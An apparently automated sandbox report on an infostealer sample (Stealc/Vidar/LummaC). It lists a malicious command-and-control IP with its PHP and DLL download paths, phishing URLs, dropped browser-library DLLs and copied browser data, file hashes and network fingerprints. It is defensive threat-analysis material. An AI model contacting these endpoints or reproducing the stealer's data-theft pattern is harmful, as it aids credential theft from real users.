http://anglebug.com/7760	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	false		unknown
http://anglebug.com/5901	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3965	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6439	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7406	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search	chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7161	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-autopush.corp.google.com/	chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search?q=$	chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7162	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.74.206	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.174	play.google.com	United States	15169	GOOGLEUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546518
Start date and time:	2024-11-01 03:44:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.186.142, 74.125.71.84, 34.104.35.123, 142.250.186.35, 142.250.184.234, 216.58.206.42, 142.250.186.138, 216.58.212.138, 142.250.186.42, 172.217.16.202, 172.217.18.10, 216.58.206.74, 142.250.186.170, 142.250.186.106, 142.250.185.106, 142.250.186.74, 142.250.185.74, 142.250.184.202, 142.250.181.234, 142.250.74.202, 93.184.221.240, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 6336 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:45:34	API Interceptor	30x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://pdfhost.io/v/maTYQa.jg_mqfilserawxgxdgxhhgsx_1	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse
	https://www.seucabelosemqueda.site/?&c=E,1,cRdm44xNAFnvsoEikdzjtf1PPAgWS9tpg0ubia7cbwt-mqWhjuhCoorsSmSpyTQbRbnEmxeGM9L3H3Ke74kewMAbyflnbdCxo3idr-f46A9rR7Cf2zlqsmVUjw,,&typo=1	Get hash	malicious	Unknown	Browse
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://hotmail.pizza4you.com.br/	Get hash	malicious	Mamba2FA	Browse
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/746f34465cf17784/sqlite3.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	https://pdfhost.io/v/maTYQa.jg_mqfilserawxgxdgxhhgsx_1	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	https://www.seucabelosemqueda.site/?&c=E,1,cRdm44xNAFnvsoEikdzjtf1PPAgWS9tpg0ubia7cbwt-mqWhjuhCoorsSmSpyTQbRbnEmxeGM9L3H3Ke74kewMAbyflnbdCxo3idr-f46A9rR7Cf2zlqsmVUjw,,&typo=1	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	https://hotmail.pizza4you.com.br/	Get hash	malicious	Mamba2FA	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	pCUif26EC3.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45
	https://bafybeiddvo3il63heagouckt2pt3cr4xxiogr3tuansgqgmot65ahjsfma.ipfs.dweb.link/#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 172.202.163.200 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	5y992FSaRX.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	oZ7nac01Em.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKEGIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKKEGHJDHDAFHIDHCFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CGDHIEGCFHCGDGCAECBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIDBGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECBGIDAEHCGDGCBKEBGDGIJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDBFCAEBFIJJKFHDAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJEBGDAFHJEBGDGIJDHCAKJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5y992FSaRX.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: oZ7nac01Em.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: WGo3ga1AL9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
